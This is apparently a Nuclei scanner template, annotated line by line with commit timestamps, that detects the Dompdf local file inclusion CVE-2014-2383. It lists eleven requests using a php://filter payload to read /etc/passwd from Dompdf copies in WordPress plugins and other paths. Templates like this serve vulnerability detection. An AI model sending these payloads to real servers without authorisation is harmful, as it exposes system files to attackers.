2021-09-21 10:16:26 +00:00
id : CVE-2014-2383
2021-06-10 09:45:21 +00:00
info :
2022-08-10 05:05:50 +00:00
name : Dompdf < v0.6.0 - Local File Inclusion
author : 0x_Akoko,akincibor,ritikchaddha
2023-07-11 19:49:27 +00:00
severity : medium
2022-08-06 12:50:12 +00:00
description : |
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
2023-09-27 15:51:13 +00:00
impact : |
The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
2022-02-25 14:32:23 +00:00
reference :
- https://www.exploit-db.com/exploits/33004
2022-05-17 09:18:12 +00:00
- http://seclists.org/fulldisclosure/2014/Apr/258
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
2022-08-06 11:47:45 +00:00
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
2022-08-06 12:50:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
2022-02-25 14:32:23 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score : 6.8
2022-02-25 14:32:23 +00:00
cve-id : CVE-2014-2383
2023-07-11 19:49:27 +00:00
cwe-id : CWE-200
2023-07-15 16:29:17 +00:00
epss-score : 0.00723
2024-01-29 17:11:14 +00:00
epss-percentile : 0.78624
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
2021-09-21 10:16:26 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 11
2023-07-11 19:49:27 +00:00
vendor : dompdf
product : dompdf
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists
2021-06-11 09:52:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-10 09:45:21 +00:00
- method : GET
path :
2022-08-10 05:05:50 +00:00
- "{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
2021-10-09 11:07:50 +00:00
2021-10-09 05:16:16 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-06-10 09:45:21 +00:00
matchers-condition : and
matchers :
2021-06-11 09:03:43 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-06-11 09:03:43 +00:00
words :
- "application/pdf"
- 'filename="dompdf_out.pdf"'
2021-06-11 09:17:02 +00:00
condition : and
2021-06-10 09:45:21 +00:00
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- "root:[x*]:0:0"
2021-06-10 09:45:21 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 4b0a00483046022100cbeff7eefe394532ca6c1c963317f9293853775305feb09955cb0f14537d36c70221009563d26867952ca7413d2a69842a55377deae81d1899284c29d744cf25e3def1:922c64590222798bb761d5b6d8e72950